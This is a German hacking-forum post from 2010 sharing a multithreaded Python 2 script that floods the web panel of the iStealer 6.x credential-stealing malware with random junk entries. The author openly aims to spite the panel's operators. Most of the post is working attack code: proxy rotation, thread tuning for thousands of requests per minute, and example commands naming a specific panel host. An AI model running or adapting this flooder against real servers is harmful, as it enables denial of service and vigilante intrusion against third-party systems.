[B]IStealer 6.x Flooder

**EBFE** · 20.06.2010, 22:17

Immer mehr elitäre Hacker steigen auf iStealer6 um. Leider hat man als Opcode/ScriptKiddie zu wenig Skillz, um an die PHP Login Daten zu kommen :(
Somit kann die Elite ungestraft ihre Server verteilen (und nicht wie etwa zu früheren Zeiten, wo man die FTP Daten auslesen und dementsprechend ändern und sie ärgern konnte). Um aber trotzdem diesen Leuten den "Spass" etwas zu vermiesen, habe ich ein kleines Script geschrieben:

Code:

import urllib, random, sys, time
from threading import Thread

# Konfiguration
# benutzerdefinierte Host/URL Liste:
# urls = ["http://google.com", "http://gmx.de", "weitere eintraege"]
# oder urls = ["http://nur_eine.url"]
urls = None
# benutzerdefinierte Logins:
# logins = ["horst", "detlef", "n0N4m3"]
# oder logins = ["nur_ein_eintrag"]
logins = None
# benutzerdefinierte computernamen
# pc_names = ["horst", "detlef", "msie6]
# oder pc_names = ["nur_ein_name"]
pc_names = None

# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10
# wie oft soll der Fortschritt ausgegeben werden (in Sekunden):
update_counter = 10

# interne Variablen
a_z = [chr(x) for x in range(ord('a'),ord('z')+1)]
A_Z = [x.upper() for x in a_z]
chars = list("0123456789._-!^$%&+#?") + A_Z + a_z

counter = 0
shutdown = False

def rand_string(length):
    result = []
    for i in range(length):
        result.append(random.choice(chars))

    return urllib.quote("".join(result))    

def generate_args():
    #beispiel:
    #http://fami33.co.cc/index.php?action=add&a=15&u=%64&l=%65&p=%6D&c=%4D
    #maximal 18 "Programme", die ueber IDs unterschieden werden
    a = random.randrange(0, 18 + 1)
    #url
    if urls is None:
        u = rand_string(random.randrange(3, 255))
    else:
        u = random.choice(urls)
    #login
    if logins is None:
        l = rand_string(random.randrange(3, 255))
    else:
        l = random.choice(logins)
    #pass
    p = rand_string(random.randrange(4, 30))
    #computername
    if pc_names is None:
        c = rand_string(random.randrange(3, 100))
    else:
        c = random.choice(pc_names)
        
    return 'index.php?' + urllib.urlencode((('action','add'),('a', a), ('u', u),
                             ('l', l), ('p', p), ('c', c)))
    
def request(url, proxy):
    try:
        page = urllib.urlopen(url, proxies = proxy)
        code, msg_len  = page.code, len(page.read())
        page.close()
        if code != 200:
            print("HTTP error:" + str(code))
            if len(proxy) > 0:               
                proxyname = proxy['http']
                # suche und loesche Proxyeintrag
                if proxyname in proxies:
                    proxies.remove(proxyname)
                    print "Remove %s proxy from list" % proxy['http']
                # nicht geklappt - proxy wurde wahrscheinlich vom Script um
                # http:// ergaenzt - suche nach Eintrag ohne 'http://'
                elif proxyname[7:] in proxies:
                    proxies.remove(proxy['http'][7:])
                    print "Remove %s proxy from list" % proxy['http']
                   
        # fehlermeldungen der Proxys nicht beachten
        elif msg_len > 0 and len(proxy) == 0 :
            raise Exception("This is not an iStealer webpanel!")
        return True
    except IOError, err:        
        return False

def fill_thread():
    global counter
    while not shutdown:
        time.sleep(sleep_time)
        if proxies is not None:
            proxy = random.choice(proxies)
            if not proxy.startswith('http://'):
                proxy = 'http://' + proxy
            proxy = {"http":proxy}
        else:
            proxy = {}
            
        if request("%s/%s" % (hostname, generate_args()), proxy):       
            counter += 1
        

try:
    hostname = sys.argv[1]
    sleep_time = int(sys.argv[2])
    proxies = None
   
    if len(sys.argv) >= 4:
        #format of proxyfile:
        #http://www.someproxy.com:port"            
        with open(sys.argv[3]) as proxyfile:
            proxies = [line for line in proxyfile.read().splitlines() if len(line) > 2]

    for i in range(threads):
        Thread(target = fill_thread).start()
        
    while True:
        time.sleep(update_counter)
        print "Junk entries inserted:", counter

except KeyboardInterrupt:
    print "Junk entries inserted: ", counter
    
except Exception, ex:
    print "Error:", ex
    print "usage: noisteal.py http://hostname.xy " + \
          "sleep_time_sec [proxy_list_file]"
finally:
    shutdown = True

das ist python 2.6 (bei der 3.0 Version müsste man die urllib Aurufe anpassen) und "flooded" die iStealer DB Einträge mit zufälligen Daten :)

Bsp Aufruf in der Konsole:

Code:

python noisteal.py http://fami33.co.cc  0

Also: das erste Parameter ist die URL,
dann kommt die "Pausenzeit" zwischen Aufrufen (in Sekunden),
optional kann als letzer Parameter noch eine Proxyliste angegeben werden:

Code:

python noisteal.py http://fami33.co.cc 0 proxylist.txt

wobei die Proxy da drin im Format:

Code:

http://www.someproxy.com:port
http://nocheinproxy.com:80

stehen sollten.

Edit/Update:
- Bugs bei Proxynutzung beseitigt, Proxycheck hinzugefügt
- Multithreading hinzugefügt.
- "Extended Configuration" kann ganz am Anfang des Scripts vorgenommen werden:
host/url Liste, Benutzernamen- oder PC-Namenliste eintragen.
siehe auch die Kommentare und Beispiele.
Um die maximale "Flood" Geschwindigkeit zu erreichen sollte man die Variable

Code:

# wieviele Threads (also gleichzeitige Verbindungen)
# sollen aufgebaut werden:
threads = 10

auf einen hohen Wert setzen (~100). Insbesondere wenn man freie HTTP Proxys nutzt (denn diese sind nicht die schnellsten)
paar tausend Einträge in der Minute sollten damit schon möglich sein.
Proxyliste:

Und ja, das Ziel ist eigentlich nur den Leuten einen reinzuwürgen ;)

Testlauf:

Klar, kann der "1337 H4x0r" die Einträge löschen. Allerdings ist das afaik im Pannel nicht ganz so komfortabel - vor allem wenn man viele Proxys benutzt hat und der damit auch viele Daten aussortieren muss :D

Thema: [B]IStealer 6.x Flooder

Themen-Optionen

Anzeige

Baum-Darstellung

[B]IStealer 6.x Flooder

Folgende Benutzer haben sich für diesen Beitrag bedankt:

Stichworte

Berechtigungen